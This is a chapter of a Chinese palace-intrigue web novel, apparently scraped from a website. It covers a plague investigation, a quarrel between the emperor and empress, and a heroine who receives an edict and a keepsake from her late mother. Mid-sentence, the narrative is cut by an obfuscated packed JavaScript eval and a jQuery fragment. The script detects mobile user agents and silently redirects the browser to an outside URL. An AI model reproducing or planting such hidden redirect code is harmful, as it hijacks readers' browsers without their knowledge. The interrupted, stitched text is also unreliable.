云蒸霞蔚，残阳如血，红日渐渐收起余晖，万物随着夜色降临渐渐归于沉静。


    城南谢府。


    谢以珩坐在书桌前，骨节分明的手指轻点桌面，皱眉听着宋崇来报。


    宋崇躬身，低声道：“邹三娘投奔的那表姐是国子学正的夫人肖氏，根据属下查到的线索，邹三娘离京时便有了发热咳嗽之症，与澍州瘟疫的症状相似，时间也对得上。”


    一年前澍州突发瘟疫，来势汹汹，可不过两个月便渐渐平息，是以并未引起任何人的注意。


    时至今日，他才知晓，原来背后竟另有隐情。


    “国子学正……”谢以珩眯起眸子，掌心抵着桌沿，“去查一下。”


    他目光锐利，眼底一片寒光。


    若他没记错的话，这刘学正可是太子的人。


    而太子的贤德爱民之名，也正是从澍州瘟疫之后才逐渐传出去的。


    “是。”宋崇应道。


    他正准备退下，却又被谢以珩叫住：“去将赵亭那块徽墨取来。”


    -


    与此同时，养心殿。


    殿内檀木作梁，地铺白玉，暗暗幽香氤氲流转。康鸿德垂首端着茶盏而入，搁置桌上，见紫玉香炉内香线已熄，又重新燃上一盘零陵环香。


    崔庭煜恰好处理完了政务，抬头觑了他一眼：“何事？”


    “陛下，时辰到了。”康鸿德恭敬地站在一侧，出声提醒。


    他撂下笔，略一思索：“今日还是去江嫔那儿吧。”


    “陛下，今儿是初一。”康鸿德颤颤巍巍道。


    依照惯例，该是去皇后娘娘那儿的。


    崔庭煜冷眼斜瞥，并不作声。


    康鸿德有些欲哭无泪。


    他不想触陛下的霉头，但问题是，这……这不合规矩啊。


    陛下已经连着两个月未曾去过凤仪殿了，前朝纷纶不断，不管是对陛下还是连日侍寝的江嫔娘娘都颇有意见。


    他这做奴才的也实在看不透，陛下若是真心宠爱江嫔，也合该替她着想一番啊。


    “还愣着干什么？”崔庭煜有些不耐烦地开口。


    康鸿德咬咬牙，刚打算继续劝，却听到门口传来一阵脚步声。


    小太监弓着身子进殿通传：“皇上，皇后娘娘求见。”


    崔庭煜不悦皱眉：“传。”


    康鸿德暗自松了口气。


    “臣妾给皇上请安。”张檀如在素秋的搀扶下进殿，虽知他不悦，不过也不太在乎，遂温婉笑道。


    “何事？”崔庭煜向后靠了靠，眸中凝着些疏离。


    两人虽是年少夫妻，却自始至终都无甚感情，几乎连相敬如宾都称不上。


    “端午宫宴在即，尚仪局拟好了名单。”张檀如往后瞧了眼，素秋得了示意，上前将一张单子放至桌上。


    “这些事交给你便可。”崔庭煜轻啧一声，看都没看一眼，沉声道，“不必事事找朕。”


    张檀如敛了笑，淡声道：“臣妾是想问陛下，是否要请孟家那姑娘。”


    孟家出事，她也无品级诰命在身，按照规矩是参不了宫宴的，她擅自做不了主。


    “臣妾想着，若是请了孟姑娘，传出去也显陛下仁慈。”见他沉默，张檀如又接着补充，面上不显，心下却冷笑。


    说来讽刺，人尽皆知当今圣上残暴，但他又偏偏极好名声。


    和掩耳盗铃有何区别？


    崔庭煜随口应道：“也行，你去办吧。”


    张檀如眸光微闪。


    她不再多语，刚欲退下，却看到一旁康鸿德投来求救般的眼神，这才蓦然想起今日是初一。


    崔庭煜不愿去凤仪殿，她这凤仪殿又何尝欢迎他？只是规矩摆在那，父亲前几日也刻意修了家书一封提及此事，她不好再推脱。


    张檀如抬眼看了眼男人，劝道：“陛下已两月未曾去过凤仪殿了……”


    崔庭煜眼中愠色渐浓，带着极重的戾气，刚想发怒，却骤然瞧见张檀如身后死死埋着脑袋的素秋，转而勾唇冷笑，吩咐：“成，今儿凤仪殿掌灯。”


    素秋打了个寒颤，双膝发软，想跪下求饶，却对上了张檀如警告的眼神。


    她心知今日躲不过这一劫，绝望地阖上了眼。


    -


    圣旨传到赵府时，饶是孟扶楹也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069912|163152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没忍住愣了一下。


    待她后知后觉地叩拜谢礼，接过那道明黄圣旨，宣旨内侍这才笑眯眯地细声恭喜道：“恭喜孟姑娘，奴才便先回宫复命了。”


    蘅芜有些不解，待内侍走后迫不及待地问道：“圣上这是何意？”


    “我也不知。”孟扶楹将圣旨递给蘅芜，沉静地坐回桌前，执笔接着半篇信继续往下写。


    须臾，她将信笺塞进信封里，吩咐蘅芜：“将这信送去闲云楼。”


    蘅芜前脚刚走，张嬷嬷后脚便奉命来了云烟榭，称孟容有事请孟扶楹过去一趟。


    孟扶楹清楚得很，方才来的恐怕不止她这一道圣旨。


    算算日子，七月采选，头一遭的初选也就是这几天的事了。


    她装作不知模样，娴静一笑：“我这就来。”


    孟扶楹所料的确不错，孟容此时的确正瞅着那道选秀圣旨发愁。


    若孟扶楹是个识相的，老老实实答应下来也就罢了，就怕她不愿意。


    孟容不安地朝门口望了眼，思索良久，还是从妆奁里拿出了一块翡翠无事牌，捏在手里。


    残春渐逝，花事将阑，如今步入五月，绿槐高柳咽新蝉。


    “姑母找我有何事？”孟扶楹将手上提着的食盒搁至桌上，自其中取出一只白陶瓷碗，“近日天气也渐渐热了，扶楹闲来无事做了些冰酪，带来给姑母尝尝。”


    “谢谢扶楹。”孟容笑着点了点头，拍了拍身旁凳子，“快坐，姑母有些话想对你说。”


    孟扶楹依言乖乖坐下。


    “这个是你母亲留下的。”孟容叹了口气，摊开手掌，将翠色玉牌放在孟扶楹面前，“她说让我转交于你。”


    这话打了孟扶楹一个措手不及，她双眸骤然睁大，有些不敢置信：“母亲还留下了东西？”


    她原以为那场火灾突如其来，所以爹娘都来不及留下什么线索。


    这么说来，其实一切爹娘都提前料到了！


    孟扶楹心头一紧，有些语无伦次地追问：“那母亲可还交代了什么话？”


    孟容言之凿凿：“她说此事牵扯甚广，涉及皇室秘辛，让你莫要多查。”